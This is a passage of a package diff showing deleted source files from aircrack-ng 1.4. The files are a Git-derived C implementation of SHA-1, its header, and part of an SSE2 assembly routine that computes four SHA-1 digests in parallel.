- * try to change the array[] accesses into registers. However, on
- * machines with less than ~25 registers, that won't really work,
- * and at least gcc will make an unholy mess of it.
- *
- * So to avoid that mess which just slows things down, we force
- * the stores to memory to actually happen (we might be better off
- * with a 'W(t)=(val);asm("":"+m" (W(t))' there instead, as
- * suggested by Artur Skawina - that will also make gcc unable to
- * try to do the silly "optimize away loads" part because it won't
- * see what the value will be).
- *
- * Ben Herrenschmidt reports that on PPC, the C version comes close
- * to the optimized asm with this (ie on PPC you don't want that
- * 'volatile', since there are lots of registers).
- *
- * On ARM we get the best code generation by forcing a full memory barrier
- * between each SHA_ROUND, otherwise gcc happily get wild with spilling and
- * the stack frame size simply explode and performance goes down the drain.
- */
-
-#if defined(__i386__) || defined(__x86_64__)
-#define setW(x, val) (*(volatile unsigned int *) &W(x) = (val))
-#elif defined(__GNUC__) && defined(__arm__)
-#define setW(x, val)                                                           \
-	do                                                                         \
-	{                                                                          \
-		W(x) = (val);                                                          \
-		__asm__("" ::: "memory");                                              \
-	} while (0)
-#else
-#define setW(x, val) (W(x) = (val))
-#endif
-
-/*
- * Performance might be improved if the CPU architecture is OK with
- * unaligned 32-bit loads and a fast ntohl() is available.
- * Otherwise fall back to byte loads and shifts which is portable,
- * and is faster on architectures with memory alignment issues.
- */
-
-#if defined(__i386__) || defined(__x86_64__) || defined(_M_IX86)               \
-	|| defined(_M_X64) || defined(__ppc__) || defined(__ppc64__)               \
-	|| defined(__powerpc__) || defined(__powerpc64__) || defined(__s390__)     \
-	|| defined(__s390x__)
-
-#define get_be32(p) ntohl(*(unsigned int *) (p))
-#define put_be32(p, v)                                                         \
-	do                                                                         \
-	{                                                                          \
-		*(unsigned int *) (p) = htonl(v);                                      \
-	} while (0)
-
-#else
-
-#define get_be32(p)                                                            \
-	((*((unsigned char *) (p) + 0) << 24)                                      \
-	 | (*((unsigned char *) (p) + 1) << 16)                                    \
-	 | (*((unsigned char *) (p) + 2) << 8)                                     \
-	 | (*((unsigned char *) (p) + 3) << 0))
-#define put_be32(p, v)                                                         \
-	do                                                                         \
-	{                                                                          \
-		unsigned int __v = (v);                                                \
-		*((unsigned char *) (p) + 0) = __v >> 24;                              \
-		*((unsigned char *) (p) + 1) = __v >> 16;                              \
-		*((unsigned char *) (p) + 2) = __v >> 8;                               \
-		*((unsigned char *) (p) + 3) = __v >> 0;                               \
-	} while (0)
-
-#endif
-
-/* This "rolls" over the 512-bit array */
-#define W(x) (array[(x) &15])
-
-/*
- * Where do we get the source from? The first 16 iterations get it from
- * the input data, the next mix it from the 512-bit array.
- */
-#define SHA_SRC(t) get_be32(data + t)
-#define SHA_MIX(t) SHA_ROL(W(t + 13) ^ W(t + 8) ^ W(t + 2) ^ W(t), 1)
-
-#define SHA_ROUND(t, input, fn, constant, A, B, C, D, E)                       \
-	do                                                                         \
-	{                                                                          \
-		unsigned int TEMP = input(t);                                          \
-		setW(t, TEMP);                                                         \
-		E += TEMP + SHA_ROL(A, 5) + (fn) + (constant);                         \
-		B = SHA_ROR(B, 2);                                                     \
-	} while (0)
-
-#define T_0_15(t, A, B, C, D, E)                                               \
-	SHA_ROUND(t, SHA_SRC, (((C ^ D) & B) ^ D), 0x5a827999, A, B, C, D, E)
-#define T_16_19(t, A, B, C, D, E)                                              \
-	SHA_ROUND(t, SHA_MIX, (((C ^ D) & B) ^ D), 0x5a827999, A, B, C, D, E)
-#define T_20_39(t, A, B, C, D, E)                                              \
-	SHA_ROUND(t, SHA_MIX, (B ^ C ^ D), 0x6ed9eba1, A, B, C, D, E)
-#define T_40_59(t, A, B, C, D, E)                                              \
-	SHA_ROUND(t, SHA_MIX, ((B & C) + (D & (B ^ C))), 0x8f1bbcdc, A, B, C, D, E)
-#define T_60_79(t, A, B, C, D, E)                                              \
-	SHA_ROUND(t, SHA_MIX, (B ^ C ^ D), 0xca62c1d6, A, B, C, D, E)
-
-static void blk_SHA1_Block(blk_SHA_CTX * ctx, const unsigned int * data)
-{
-	unsigned int A, B, C, D, E;
-	unsigned int array[16];
-
-	A = ctx->h0;
-	B = ctx->h1;
-	C = ctx->h2;
-	D = ctx->h3;
-	E = ctx->h4;
-
-	/* Round 1 - iterations 0-16 take their input from 'data' */
-	T_0_15(0, A, B, C, D, E);
-	T_0_15(1, E, A, B, C, D);
-	T_0_15(2, D, E, A, B, C);
-	T_0_15(3, C, D, E, A, B);
-	T_0_15(4, B, C, D, E, A);
-	T_0_15(5, A, B, C, D, E);
-	T_0_15(6, E, A, B, C, D);
-	T_0_15(7, D, E, A, B, C);
-	T_0_15(8, C, D, E, A, B);
-	T_0_15(9, B, C, D, E, A);
-	T_0_15(10, A, B, C, D, E);
-	T_0_15(11, E, A, B, C, D);
-	T_0_15(12, D, E, A, B, C);
-	T_0_15(13, C, D, E, A, B);
-	T_0_15(14, B, C, D, E, A);
-	T_0_15(15, A, B, C, D, E);
-
-	/* Round 1 - tail. Input from 512-bit mixing array */
-	T_16_19(16, E, A, B, C, D);
-	T_16_19(17, D, E, A, B, C);
-	T_16_19(18, C, D, E, A, B);
-	T_16_19(19, B, C, D, E, A);
-
-	/* Round 2 */
-	T_20_39(20, A, B, C, D, E);
-	T_20_39(21, E, A, B, C, D);
-	T_20_39(22, D, E, A, B, C);
-	T_20_39(23, C, D, E, A, B);
-	T_20_39(24, B, C, D, E, A);
-	T_20_39(25, A, B, C, D, E);
-	T_20_39(26, E, A, B, C, D);
-	T_20_39(27, D, E, A, B, C);
-	T_20_39(28, C, D, E, A, B);
-	T_20_39(29, B, C, D, E, A);
-	T_20_39(30, A, B, C, D, E);
-	T_20_39(31, E, A, B, C, D);
-	T_20_39(32, D, E, A, B, C);
-	T_20_39(33, C, D, E, A, B);
-	T_20_39(34, B, C, D, E, A);
-	T_20_39(35, A, B, C, D, E);
-	T_20_39(36, E, A, B, C, D);
-	T_20_39(37, D, E, A, B, C);
-	T_20_39(38, C, D, E, A, B);
-	T_20_39(39, B, C, D, E, A);
-
-	/* Round 3 */
-	T_40_59(40, A, B, C, D, E);
-	T_40_59(41, E, A, B, C, D);
-	T_40_59(42, D, E, A, B, C);
-	T_40_59(43, C, D, E, A, B);
-	T_40_59(44, B, C, D, E, A);
-	T_40_59(45, A, B, C, D, E);
-	T_40_59(46, E, A, B, C, D);
-	T_40_59(47, D, E, A, B, C);
-	T_40_59(48, C, D, E, A, B);
-	T_40_59(49, B, C, D, E, A);
-	T_40_59(50, A, B, C, D, E);
-	T_40_59(51, E, A, B, C, D);
-	T_40_59(52, D, E, A, B, C);
-	T_40_59(53, C, D, E, A, B);
-	T_40_59(54, B, C, D, E, A);
-	T_40_59(55, A, B, C, D, E);
-	T_40_59(56, E, A, B, C, D);
-	T_40_59(57, D, E, A, B, C);
-	T_40_59(58, C, D, E, A, B);
-	T_40_59(59, B, C, D, E, A);
-
-	/* Round 4 */
-	T_60_79(60, A, B, C, D, E);
-	T_60_79(61, E, A, B, C, D);
-	T_60_79(62, D, E, A, B, C);
-	T_60_79(63, C, D, E, A, B);
-	T_60_79(64, B, C, D, E, A);
-	T_60_79(65, A, B, C, D, E);
-	T_60_79(66, E, A, B, C, D);
-	T_60_79(67, D, E, A, B, C);
-	T_60_79(68, C, D, E, A, B);
-	T_60_79(69, B, C, D, E, A);
-	T_60_79(70, A, B, C, D, E);
-	T_60_79(71, E, A, B, C, D);
-	T_60_79(72, D, E, A, B, C);
-	T_60_79(73, C, D, E, A, B);
-	T_60_79(74, B, C, D, E, A);
-	T_60_79(75, A, B, C, D, E);
-	T_60_79(76, E, A, B, C, D);
-	T_60_79(77, D, E, A, B, C);
-	T_60_79(78, C, D, E, A, B);
-	T_60_79(79, B, C, D, E, A);
-
-	ctx->h0 += A;
-	ctx->h1 += B;
-	ctx->h2 += C;
-	ctx->h3 += D;
-	ctx->h4 += E;
-}
-
-void blk_SHA1_Init(blk_SHA_CTX * ctx)
-{
-	ctx->size = 0;
-
-	/* Initialize H with the magic constants (see FIPS180 for constants) */
-	ctx->h0 = 0x67452301;
-	ctx->h1 = 0xefcdab89;
-	ctx->h2 = 0x98badcfe;
-	ctx->h3 = 0x10325476;
-	ctx->h4 = 0xc3d2e1f0;
-}
-
-void blk_SHA1_Update(blk_SHA_CTX * ctx, const void * data, unsigned long len)
-{
-	unsigned int lenW = ctx->size & 63;
-
-	ctx->size += len;
-
-	/* Read the data into W and process blocks as they get full */
-	if (lenW)
-	{
-		unsigned int left = 64 - lenW;
-		if (len < left) left = len;
-		memcpy(lenW + (char *) ctx->W, data, left);
-		lenW = (lenW + left) & 63;
-		len -= left;
-		data = ((const char *) data + left);
-		if (lenW) return;
-		blk_SHA1_Block(ctx, ctx->W);
-	}
-	while (len >= 64)
-	{
-		blk_SHA1_Block(ctx, data);
-		data = ((const char *) data + 64);
-		len -= 64;
-	}
-	if (len) memcpy(ctx->W, data, len);
-}
-
-void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX * ctx)
-{
-	static const unsigned char pad[64] = {0x80};
-	unsigned int padlen[2];
-	int i;
-
-	/* Pad with a binary 1 (ie 0x80), then zeroes, then length */
-	padlen[0] = htonl((uint32_t)(ctx->size >> 29));
-	padlen[1] = htonl((uint32_t)(ctx->size << 3));
-
-	i = ctx->size & 63;
-	blk_SHA1_Update(ctx, pad, 1 + (63 & (55 - i)));
-	blk_SHA1_Update(ctx, padlen, 8);
-
-	/* Output hash */
-	put_be32(hashout + 0 * 4, ctx->h0);
-	put_be32(hashout + 1 * 4, ctx->h1);
-	put_be32(hashout + 2 * 4, ctx->h2);
-	put_be32(hashout + 3 * 4, ctx->h3);
-	put_be32(hashout + 4 * 4, ctx->h4);
-}
-#define _SHA1_GIT
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-git.h Deleted

@@ -1,49 +0,0 @@
-/*
- * sha1-git.h
- *
- * This code is based on the GIT SHA1 Implementation.
- *
- * Copyright (C) 2009 Linus Torvalds <torvalds@linux-foundation.org>
- * Copyright (C) 2009 Nicolas Pitre <nico@cam.org>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- */
-
-/*
- * SHA1 routine optimized to do word accesses rather than byte accesses,
- * and to avoid unnecessary copies into the context array.
- *
- * This was initially based on the Mozilla SHA1 implementation, although
- * none of the original Mozilla code remains.
- */
-
-typedef struct
-{
-	unsigned long long size;
-	unsigned int h0, h1, h2, h3, h4;
-	unsigned int W[16];
-} blk_SHA_CTX;
-
-void blk_SHA1_Init(blk_SHA_CTX * ctx);
-void blk_SHA1_Update(blk_SHA_CTX * ctx, const void * dataIn, unsigned long len);
-void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX * ctx);
-
-#define git_SHA_CTX blk_SHA_CTX
-#define git_SHA1_Init blk_SHA1_Init
-#define git_SHA1_Update blk_SHA1_Update
-#define git_SHA1_Final blk_SHA1_Final
-#define SHA_DIGEST_LENGTH 20

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-sse2.S Deleted

@@ -1,628 +0,0 @@
-// Cygwin, Apple, Clang, (C) 2018 Joseph Benden (joe@benden.us)
-// SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX - License: GPLv2
-// SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) - License: Public Domain
-
-// This code computes two (with sse now four) SHA-1 digests at the same time. It
-// doesn't take care of padding (0x80 and size << 3), so make
-// sure the last input block is properly padded. Both 64-byte
-// input blocks must be (four bytes) interleaved.
-
-//  In addition, as a special exception, the copyright holders give
-//  permission to link the code of portions of this program with the
-//  OpenSSL library under certain conditions as described in each
-//  individual source file, and distribute linked combinations
-//  including the two.
-//  You must obey the GNU General Public License in all respects
-//  for all of the code used other than OpenSSL. *  If you modify
-//  file(s) with this exception, you may extend this exception to your
-//  version of the file(s), but you are not obligated to do so. *  If you
-//  do not wish to do so, delete this exception statement from your
-//  version. *  If you delete this exception statement from all source
-//  files in the program, then also delete it here.
-
-#if defined(__x86_64__)
-#if defined(__APPLE__) || defined(__CYGWIN__)
-#define USE_PIC 1
-#else
-#undef USE_PIC
-#endif
-#else
-#undef USE_PIC
-#endif
-
-#if defined(USE_PIC)
-#define PRELOAD(x,f)
-#define MANGLE(x,f) x(%rip)
-#define INIT_PIC(f)
-#define END_PIC(f)
-#else
-#ifdef __PIC__
-
-#ifdef __x86_64__
-#define PRELOAD(x,f)  movq x@GOTPCREL(%rip), %rbx;
-#define MANGLE(x,f)   (%rbx)
-#define INIT_PIC(f)  pushq %rbx
-#define END_PIC(f)   popq  %rbx
-#else
-
-#if __APPLE__
-#define PRELOAD(x,f)  leal x-L0## f ##$pb(%ebx), %esi;
-#define MANGLE(x,f)   (%esi)
-#define INIT_PIC(x) \
-    push %ebx; \
-    call L0## x ##$pb; \
-    L0## x ##$pb:; \
-    pop %ebx;
-#define END_PIC(x)    pop %ebx
-#else
-#undef __i686 /* gcc builtin define gets in our way */
-#define PRELOAD(x,f)  
-#define MANGLE(x,f)   x ## @GOTOFF(%ebx)
-#define INIT_PIC(f) \
-	call __i686.get_pc_thunk.bx ; \
-	addl $_GLOBAL_OFFSET_TABLE_, %ebx
-#define END_PIC(f)
-#endif
-
-#endif
-
-#else
-
-#define PRELOAD(x,f)  
-#define MANGLE(x,f) x
-#define INIT_PIC(f)
-#define END_PIC(f)
-
-#endif
-#endif
-
-#if defined(__i386__) || defined(__x86_64__)
-
-.globl  shasse2_init;
-.globl  shasse2_ends;
-.globl  shasse2_data;
-.globl  shasse2_cpuid;
-
-.globl _shasse2_init;
-.globl _shasse2_ends;
-.globl _shasse2_data;
-.globl _shasse2_cpuid;
-
-.data
-#ifdef __APPLE__
-.align(12)
-#else
-.align(16)
-#endif
-const_init_a:
-.long 0x67452301
-.long 0x67452301
-.long 0x67452301
-.long 0x67452301
-const_init_b:
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-const_init_c:
-.long 0x98BADCFE
-.long 0x98BADCFE
-.long 0x98BADCFE
-.long 0x98BADCFE
-const_init_d:
-.long 0x10325476
-.long 0x10325476
-.long 0x10325476
-.long 0x10325476
-const_init_e:
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-const_stage0:
-.long 0x5A827999
-.long 0x5A827999
-.long 0x5A827999
-.long 0x5A827999
-const_stage1:
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-const_stage2:
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-const_stage3:
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-const_ff00:
-.long 0xFF00FF00
-.long 0xFF00FF00
-.long 0xFF00FF00
-.long 0xFF00FF00
-const_00ff:
-.long 0x00FF00FF
-.long 0x00FF00FF
-.long 0x00FF00FF
-.long 0x00FF00FF
-
-#define ctxa %xmm0
-#define ctxb %xmm1
-#define ctxc %xmm2
-#define ctxd %xmm3
-#define ctxe %xmm4
-#define tmp1 %xmm5
-#define tmp2 %xmm6
-#define tmp3 %xmm7
-#define tmp4 ctxa
-#define tmp5 ctxb
-
-#if defined(__x86_64__) && defined(__CYGWIN__)
- #define edx_rsi %rdx     // arg2
- #define ecx_rdx %r8      // arg3
- #define eax_rdi %rcx     // arg1
-#elif defined(__x86_64__)
- #define edx_rsi %rsi     // arg2
- #define ecx_rdx %rdx     // arg3
- #define eax_rdi %rdi     // arg1
-#else
- #define edx_rsi %edx
- #define ecx_rdx %ecx
- #define eax_rdi %eax
-#endif
-
-// movdqa movapd
-
-#define F0(x,y,z)       \
-        movdqa   x, tmp2; \
-        movdqa   x, tmp1; \
-        pand   y, tmp2; \
-        pandn  z, tmp1; \
-        por    tmp2, tmp1; 
-
-#define F1(x,y,z)       \
-        movdqa   z, tmp1; \
-        pxor   y, tmp1; \
-        pxor   x, tmp1
-
-#define F2(x,y,z)       \
-        movdqa   x, tmp1; \
-        movdqa   x, tmp2; \
-        pand   y, tmp1; \
-        por    y, tmp2; \
-        pand   z, tmp2; \
-        por    tmp2, tmp1;
-        
-#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
-#define subRoundX(a, b, c, d, e, f, k, data)    \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        paddd  MANGLE(k,shasse2_data), e;			\
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;                         \
-        movdqa   (data*16)(edx_rsi), tmp1;      \
-        movdqa   tmp1, tmp2;                    \
-        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
-        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
-        psrld  $8, tmp1;                        \
-        pslld  $8, tmp2;                        \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, tmp2;                    \
-        psrld  $16, tmp1;                       \
-        pslld  $16, tmp2;                       \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, (data*16)(ecx_rdx);      \
-        paddd  tmp1, e;
-#else
-#define subRoundX(a, b, c, d, e, f, k, data)    \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        PRELOAD(k,shasse2_data)				\
-        paddd  MANGLE(k,shasse2_data), e;			\
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;                         \
-        movdqa   (data*16)(edx_rsi), tmp1;      \
-        movdqa   tmp1, tmp2;                    \
-        PRELOAD(const_ff00,shasse2_data)			\
-        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
-        PRELOAD(const_00ff,shasse2_data)			\
-        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
-        psrld  $8, tmp1;                        \
-        pslld  $8, tmp2;                        \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, tmp2;                    \
-        psrld  $16, tmp1;                       \
-        pslld  $16, tmp2;                       \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, (data*16)(ecx_rdx);      \
-        paddd  tmp1, e;
-#endif
-
-#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
-#define subRoundY(a, b, c, d, e, f, k, data)    \
-	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
-        movdqa   tmp1, tmp2;                    \
-        pslld    $1, tmp1;                      \
-        psrld   $31, tmp2;                      \
-        por    tmp2, tmp1;                      \
-        movdqa  tmp1, (data*16)(ecx_rdx);       \
-        paddd  tmp1, e;                         \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        paddd  MANGLE(k,shasse2_data), e;                    \
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;
-#else
-#define subRoundY(a, b, c, d, e, f, k, data)    \
-	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
-        movdqa   tmp1, tmp2;                    \
-        pslld    $1, tmp1;                      \
-        psrld   $31, tmp2;                      \
-        por    tmp2, tmp1;                      \
-        movdqa  tmp1, (data*16)(ecx_rdx);       \
-        paddd  tmp1, e;                         \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        PRELOAD(k,shasse2_data)				\
-        paddd  MANGLE(k,shasse2_data), e;                    \
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;
-#endif 
-.text
-
-// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
-
- shasse2_init:
-_shasse2_init:
-
-        INIT_PIC(shasse2_init)
-        PRELOAD(const_init_a,shasse2_init)
-        movdqa   MANGLE(const_init_a,shasse2_init), ctxa
-        PRELOAD(const_init_b,shasse2_init)
-        movdqa   MANGLE(const_init_b,shasse2_init), ctxb
-        PRELOAD(const_init_c,shasse2_init)
-        movdqa   MANGLE(const_init_c,shasse2_init), ctxc
-        PRELOAD(const_init_d,shasse2_init)
-        movdqa   MANGLE(const_init_d,shasse2_init), ctxd
-        PRELOAD(const_init_e,shasse2_init)
-        movdqa   MANGLE(const_init_e,shasse2_init), ctxe
-
-        movdqa   ctxa, 0(eax_rdi)
-        movdqa   ctxb, 16(eax_rdi)
-        movdqa   ctxc, 32(eax_rdi)
-        movdqa   ctxd, 48(eax_rdi)
-        movdqa   ctxe, 64(eax_rdi)
-        END_PIC()
-
-        ret
-
-// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
-// arg 2 (edx) (64bit: rsi) : digests (4*20 bytes)
-
- shasse2_ends:
-_shasse2_ends:
-
-        INIT_PIC(shasse2_ends)
-	movdqa    0(eax_rdi), ctxa
-        movdqa   16(eax_rdi), ctxb
-        movdqa   32(eax_rdi), ctxc
-        movdqa   48(eax_rdi), ctxd
-        movdqa   64(eax_rdi), ctxe
-
-        PRELOAD(const_ff00,shasse2_ends)
-        movdqa   MANGLE(const_ff00,shasse2_ends), tmp3
-        movdqa   ctxa, tmp1
-        movdqa   ctxb, tmp2
-        pand   tmp3, ctxa
-        pand   tmp3, ctxb
-        PRELOAD(const_00ff,shasse2_ends)
-        movdqa   MANGLE(const_00ff,shasse2_ends), tmp3
-        pand   tmp3, tmp1
-        pand   tmp3, tmp2
-        psrld  $8, ctxa
-        psrld  $8, ctxb
-        pslld  $8, tmp1
-        pslld  $8, tmp2
-        por    tmp1, ctxa
-        por    tmp2, ctxb
-        movdqa   ctxa, tmp1
-        movdqa   ctxb, tmp2
-        psrld  $16, ctxa
-        psrld  $16, ctxb
-        pslld  $16, tmp1
-        pslld  $16, tmp2
-        por    tmp1, ctxa
-        por    tmp2, ctxb 
-        movdqa   ctxa,  0(edx_rsi)
-        movdqa   ctxb,  16(edx_rsi)
-
-        PRELOAD(const_ff00,shasse2_ends)
-        movdqa   MANGLE(const_ff00,shasse2_ends), tmp5
-        movdqa   ctxc, tmp1
-        movdqa   ctxd, tmp2
-        movdqa   ctxe, tmp3
-        pand   tmp5, ctxc
-        pand   tmp5, ctxd
-        pand   tmp5, ctxe
-        PRELOAD(const_00ff,shasse2_ends)
-        movdqa   MANGLE(const_00ff,shasse2_ends), tmp5
-        pand   tmp5, tmp1
-        pand   tmp5, tmp2
-        pand   tmp5, tmp3
-        psrld  $8, ctxc
-        psrld  $8, ctxd
-        psrld  $8, ctxe
-        pslld  $8, tmp1
-        pslld  $8, tmp2
-        pslld  $8, tmp3
-        por    tmp1, ctxc
-        por    tmp2, ctxd
-        por    tmp3, ctxe
-        movdqa   ctxc, tmp1
-        movdqa   ctxd, tmp2
-        movdqa   ctxe, tmp3
-        psrld  $16, ctxc
-        psrld  $16, ctxd
-        psrld  $16, ctxe
-        pslld  $16, tmp1
-        pslld  $16, tmp2
-        pslld  $16, tmp3
-        por    tmp1, ctxc
-        por    tmp2, ctxd
-        por    tmp3, ctxe
-
-        movdqa   ctxc, 32(edx_rsi)
-        movdqa   ctxd, 48(edx_rsi)
-        movdqa   ctxe, 64(edx_rsi)
-        END_PIC()
-
-        ret
-
-// arg 1 (eax) (64bit: rdi): context     (4*20 bytes)
-// arg 2 (edx) (64bit: rsi): input data (4*64 bytes)
-// arg 3 (ecx) (64bit: rdx): workspace  (1280 bytes)
-
- shasse2_data:
-_shasse2_data:
-
-        INIT_PIC(shasse2_data)
-        movdqa    0(eax_rdi), ctxa
-        movdqa   16(eax_rdi), ctxb
-        movdqa   32(eax_rdi), ctxc
-        movdqa   48(eax_rdi), ctxd
-        movdqa   64(eax_rdi), ctxe
-
-round0:
-
-        prefetchnta (edx_rsi)
-
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  0 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  1 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  2 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  3 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  4 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  5 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  6 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  7 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  8 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  9 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 );
-
-round1:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 );
-
-round2:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 );
